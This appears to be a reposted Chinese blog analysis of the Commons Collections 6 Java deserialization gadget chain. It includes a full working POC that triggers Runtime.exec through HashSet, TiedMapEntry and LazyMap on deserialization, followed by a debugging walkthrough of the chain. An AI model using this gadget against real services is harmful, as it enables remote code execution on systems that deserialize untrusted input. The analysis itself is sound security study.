Java安全之Commons Collections6分析


Java安全之Commons Collections6分析

0x00 前言

其實在分析的幾條鏈中都大致相同,都是基於前面一些鏈的變形,在本文的CC6鏈中,就和前面的有點小小的區別。在CC6鏈中也和CC5的利用鏈類似,但是CC6鏈中使用的是HashSet去觸發LazyMap的get方法。而在CC5中使用的是BadAttributeValueExpException

0x01 POC分析

這里還是去簡化一下POC代碼,因為ysoserial做了很多優化和封裝。所以在第一次看該代碼的時候,雖然也能看懂,但是不太容易理清思路。

package com.test;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class cc6 {

    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {

            Transformer Testtransformer = new ChainedTransformer(new Transformer[]{});

            Transformer[] transformers=new Transformer[]{
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[]{}}),
                    new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[]{}}),
                    new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
            };

            Map map=new HashMap();
            Map lazyMap=LazyMap.decorate(map,Testtransformer);
            TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"test1");

            HashSet hashSet=new HashSet(1);
            hashSet.add(tiedMapEntry);
            lazyMap.remove("test1");

            //通過反射覆蓋原本的iTransformers,防止序列化時在本地執行命令
            Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
            field.setAccessible(true);
            field.set(Testtransformer, transformers);

            ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
            objectOutputStream.writeObject(hashSet);
            objectOutputStream.close();

            ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test.out"));
            objectInputStream.readObject();

    }
}

以上這段代碼是從網上找來的POC,里面提取出來的重要的代碼。首先還是得來執行一遍,POC代碼是否能夠去正常運行。

能夠正常執行,后面就來分析一下POC的構造。前面的一段代碼和CC1一樣,就不做贅述了。

Map lazyMap=LazyMap.decorate(map,Testtransformer);
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"test1");

這段代碼也是在構造CC5鏈中出現的,將mapLazyMap,調用get方法就會調用transform方法。而這里是再使用了TiedMapEntry類去將LazyMap實例化對象傳入進去。調用到TiedMapEntrygetValue就會在getValue內部去調用get方法。

HashSet hashSet=new HashSet(1);
hashSet.add(tiedMapEntry);
lazyMap.remove("test1");
 //通過反射覆蓋原本的iTransformers,防止序列化時在本地執行命令

這一步里使用的是HashSet來進行構造,將前面的TiedMapEntry實例化對象添加進去。后面還調用了lazyMap.remove方法將test1給移除,這是因為在執行的時候如果沒使用lazyMap.removetest1給移除掉將不會進入到該判斷語句里面去。

Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(Testtransformer, transformers);

上面這一段其實就為了防止在序列化的時候,在本地將構造好的命令給執行一遍。相當於

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers)

這一段代碼。

0x02 POC調試

readObject復寫點打個斷點進行調試,也就是HashsetreadObject

HashsetreadObject方法中,回去調用mapput方法。這里的map為Hashmap的對象,所以這里調用的是Hashmapput方法,跟進一下該方法。

而在這一步又會去調用hash方法並且傳入key作為參數。還需要再跟進一下hash方法。

跟進到方法里面會發現,方法內部還會去調用keyhashcode,而這里的keyTiedMapEntry的實例化對象。調用的則是TiedMapEntryhashcode。跟進一下hashcode方法。

在此處就可以看到hashcode還會去調用getValue方法,下面的內容其實就和CC5的利用鏈一樣了。

來到getValue看看

這里就會去調用this.map.get()方法,this.mapLazyMap的實例化對象。使用的是下面這段POC代碼對this.map進行賦值。

TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"test1");

為了更清晰整一條利用鏈,再跟進一下LazyMap的get方法。

這里在前面提到過,需要lazyMap.remove方法移除前面填入的KEY才能夠進行到該if判斷語句里面去執行transform方法,否則就直接走的是else的方法體內容了。達不到所要的效果,利用鏈也沒法進行執行命令了。

其實到這一步已經很清晰了,下面的就不做分析了,前面的文章分析過很多回了。

利用鏈

HashSet.readObject->HashMap.put
->HashMap.hash->TiedMapEntry.hashCode
->TiedMapEntry.getValue->LazyMap.get
->ChainedTransformer.transform->InvokerTransformer.transform
->Runtime.exec

0x03 結尾

本篇文章其實也是只挑了一些重點去做分析,其他的都是地方,和前面的都一樣就沒必要再去分析一遍了。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM